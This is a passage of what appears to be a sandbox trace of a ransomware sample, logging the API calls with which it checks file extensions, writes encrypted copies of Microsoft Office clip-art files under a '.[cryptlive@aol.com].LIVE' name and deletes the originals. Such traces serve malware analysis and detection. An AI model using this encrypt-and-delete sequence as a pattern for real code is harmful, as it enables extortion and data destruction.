lpString2=".JPG") returned -1 [0158.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0158.285] lstrlenW (lpString=".1cd") returned 4 [0158.285] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0158.285] lstrlenW (lpString=".jpg") returned 4 [0158.285] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0158.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0158.285] lstrlenW (lpString=".doc") returned 4 [0158.285] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.285] lstrlenW (lpString=".docx") returned 5 [0158.285] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0158.286] lstrlenW (lpString=".pdf") returned 4 [0158.286] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.286] lstrlenW (lpString=".xls") returned 4 [0158.286] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.286] lstrlenW (lpString=".xlsx") returned 5 [0158.286] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0158.286] lstrlenW (lpString=".ppt") returned 4 [0158.286] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0158.286] lstrlenW (lpString=".zip") returned 4 [0158.286] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.286] lstrlenW (lpString=".rar") returned 4 [0158.286] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.286] lstrlenW (lpString=".bz2") returned 4 [0158.286] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.286] lstrlenW (lpString=".7z") returned 3 [0158.286] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0158.286] lstrlenW (lpString=".dbf") returned 4 [0158.286] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0158.286] lstrlenW (lpString=".1cd") returned 4 [0158.286] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG") returned 63 [0158.286] lstrlenW (lpString=".jpg") returned 4 [0158.286] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.286] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0158.286] lstrlenW (lpString="J0151045.WMF") returned 12 [0158.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0158.407] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=15464) returned 1 [0158.407] CloseHandle (hObject=0x1fc) returned 1 [0158.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf")) returned 0x20 [0158.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0158.435] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.435] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0158.438] GetLastError () returned 0x0 [0158.438] ReadFile (in: hFile=0x1fc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x3c68, lpOverlapped=0x0) returned 1 [0158.440] WriteFile (in: hFile=0x314, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x3c70, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x3c70, lpOverlapped=0x0) returned 1 [0158.442] ReadFile (in: hFile=0x1fc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.442] WriteFile (in: hFile=0x314, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.442] SetEndOfFile (hFile=0x314) returned 1 [0158.442] CloseHandle (hObject=0x314) returned 1 [0158.442] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.443] SetEndOfFile (hFile=0x1fc) returned 1 [0158.446] CloseHandle (hObject=0x1fc) returned 1 [0158.446] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.446] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151045.wmf")) returned 1 [0158.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0158.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0158.448] lstrlenW (lpString=".doc") returned 4 [0158.448] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.448] lstrlenW (lpString=".docx") returned 5 [0158.448] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0158.448] lstrlenW (lpString=".pdf") returned 4 [0158.448] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.448] lstrlenW (lpString=".xls") returned 4 [0158.448] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.448] lstrlenW (lpString=".xlsx") returned 5 [0158.448] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0158.448] lstrlenW (lpString=".ppt") returned 4 [0158.448] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0158.448] lstrlenW (lpString=".zip") returned 4 [0158.448] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.448] lstrlenW (lpString=".rar") returned 4 [0158.448] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.448] lstrlenW (lpString=".bz2") returned 4 [0158.448] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.448] lstrlenW (lpString=".7z") returned 3 [0158.448] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0158.448] lstrlenW (lpString=".dbf") returned 4 [0158.448] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0158.449] lstrlenW (lpString=".1cd") returned 4 [0158.449] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0158.449] lstrlenW (lpString=".jpg") returned 4 [0158.449] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0158.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0158.449] lstrlenW (lpString=".doc") returned 4 [0158.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.449] lstrlenW (lpString=".docx") returned 5 [0158.449] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0158.449] lstrlenW (lpString=".pdf") returned 4 [0158.449] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.449] lstrlenW (lpString=".xls") returned 4 [0158.449] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.449] lstrlenW (lpString=".xlsx") returned 5 [0158.449] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0158.449] lstrlenW (lpString=".ppt") returned 4 [0158.449] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0158.449] lstrlenW (lpString=".zip") returned 4 [0158.449] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.449] lstrlenW (lpString=".rar") returned 4 [0158.449] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.449] lstrlenW (lpString=".bz2") returned 4 [0158.449] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.449] lstrlenW (lpString=".7z") returned 3 [0158.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0158.450] lstrlenW (lpString=".dbf") returned 4 [0158.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0158.450] lstrlenW (lpString=".1cd") returned 4 [0158.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151045.WMF") returned 63 [0158.450] lstrlenW (lpString=".jpg") returned 4 [0158.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.450] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0158.450] lstrlenW (lpString="J0151047.WMF") returned 12 [0158.450] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0158.451] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=18500) returned 1 [0158.451] CloseHandle (hObject=0x1fc) returned 1 [0158.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf")) returned 0x20 [0158.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0158.452] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.452] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0158.453] GetLastError () returned 0x0 [0158.453] ReadFile (in: hFile=0x1fc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x4844, lpOverlapped=0x0) returned 1 [0158.455] WriteFile (in: hFile=0x314, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x4850, lpOverlapped=0x0) returned 1 [0158.457] ReadFile (in: hFile=0x1fc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.457] WriteFile (in: hFile=0x314, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.457] SetEndOfFile (hFile=0x314) returned 1 [0158.457] CloseHandle (hObject=0x314) returned 1 [0158.457] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.457] SetEndOfFile (hFile=0x1fc) returned 1 [0158.461] CloseHandle (hObject=0x1fc) returned 1 [0158.461] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.461] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151047.wmf")) returned 1 [0158.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0158.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0158.463] lstrlenW (lpString=".doc") returned 4 [0158.463] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.463] lstrlenW (lpString=".docx") returned 5 [0158.463] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0158.463] lstrlenW (lpString=".pdf") returned 4 [0158.463] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.463] lstrlenW (lpString=".xls") returned 4 [0158.463] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.463] lstrlenW (lpString=".xlsx") returned 5 [0158.463] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0158.463] lstrlenW (lpString=".ppt") returned 4 [0158.463] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0158.463] lstrlenW (lpString=".zip") returned 4 [0158.463] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.463] lstrlenW (lpString=".rar") returned 4 [0158.463] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.463] lstrlenW (lpString=".bz2") returned 4 [0158.463] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.463] lstrlenW (lpString=".7z") returned 3 [0158.463] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0158.463] lstrlenW (lpString=".dbf") returned 4 [0158.463] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0158.464] lstrlenW (lpString=".1cd") returned 4 [0158.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0158.464] lstrlenW (lpString=".jpg") returned 4 [0158.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0158.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0158.464] lstrlenW (lpString=".doc") returned 4 [0158.464] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.464] lstrlenW (lpString=".docx") returned 5 [0158.464] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0158.464] lstrlenW (lpString=".pdf") returned 4 [0158.464] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.464] lstrlenW (lpString=".xls") returned 4 [0158.464] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.464] lstrlenW (lpString=".xlsx") returned 5 [0158.464] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0158.464] lstrlenW (lpString=".ppt") returned 4 [0158.464] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0158.464] lstrlenW (lpString=".zip") returned 4 [0158.464] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.464] lstrlenW (lpString=".rar") returned 4 [0158.464] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.464] lstrlenW (lpString=".bz2") returned 4 [0158.464] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.465] lstrlenW (lpString=".7z") returned 3 [0158.465] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0158.465] lstrlenW (lpString=".dbf") returned 4 [0158.465] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0158.465] lstrlenW (lpString=".1cd") returned 4 [0158.465] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151047.WMF") returned 63 [0158.465] lstrlenW (lpString=".jpg") returned 4 [0158.465] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.465] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0158.465] lstrlenW (lpString="J0151055.WMF") returned 12 [0158.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0158.467] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=14632) returned 1 [0158.467] CloseHandle (hObject=0x1fc) returned 1 [0158.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf")) returned 0x20 [0158.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0158.468] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.468] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0158.469] GetLastError () returned 0x0 [0158.469] ReadFile (in: hFile=0x1fc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x3928, lpOverlapped=0x0) returned 1 [0158.837] WriteFile (in: hFile=0x314, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x3930, lpOverlapped=0x0) returned 1 [0158.839] ReadFile (in: hFile=0x1fc, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0158.840] WriteFile (in: hFile=0x314, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.840] SetEndOfFile (hFile=0x314) returned 1 [0158.840] CloseHandle (hObject=0x314) returned 1 [0158.840] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0158.840] SetEndOfFile (hFile=0x1fc) returned 1 [0158.842] CloseHandle (hObject=0x1fc) returned 1 [0158.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.860] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf")) returned 1 [0158.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0158.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0158.978] lstrlenW (lpString=".doc") returned 4 [0158.978] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.978] lstrlenW (lpString=".docx") returned 5 [0158.978] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0158.978] lstrlenW (lpString=".pdf") returned 4 [0158.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.978] lstrlenW (lpString=".xls") returned 4 [0158.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.978] lstrlenW (lpString=".xlsx") returned 5 [0158.978] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0158.978] lstrlenW (lpString=".ppt") returned 4 [0158.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0158.978] lstrlenW (lpString=".zip") returned 4 [0158.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.978] lstrlenW (lpString=".rar") returned 4 [0158.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.978] lstrlenW (lpString=".bz2") returned 4 [0158.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.978] lstrlenW (lpString=".7z") returned 3 [0158.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0158.978] lstrlenW (lpString=".dbf") returned 4 [0158.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0158.978] lstrlenW (lpString=".1cd") returned 4 [0158.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0158.979] lstrlenW (lpString=".jpg") returned 4 [0158.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0158.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF") returned 63 [0158.979] lstrlenW (lpString=".doc") returned 4 [0158.979] lstrcmpiW (lpString1=".doc", 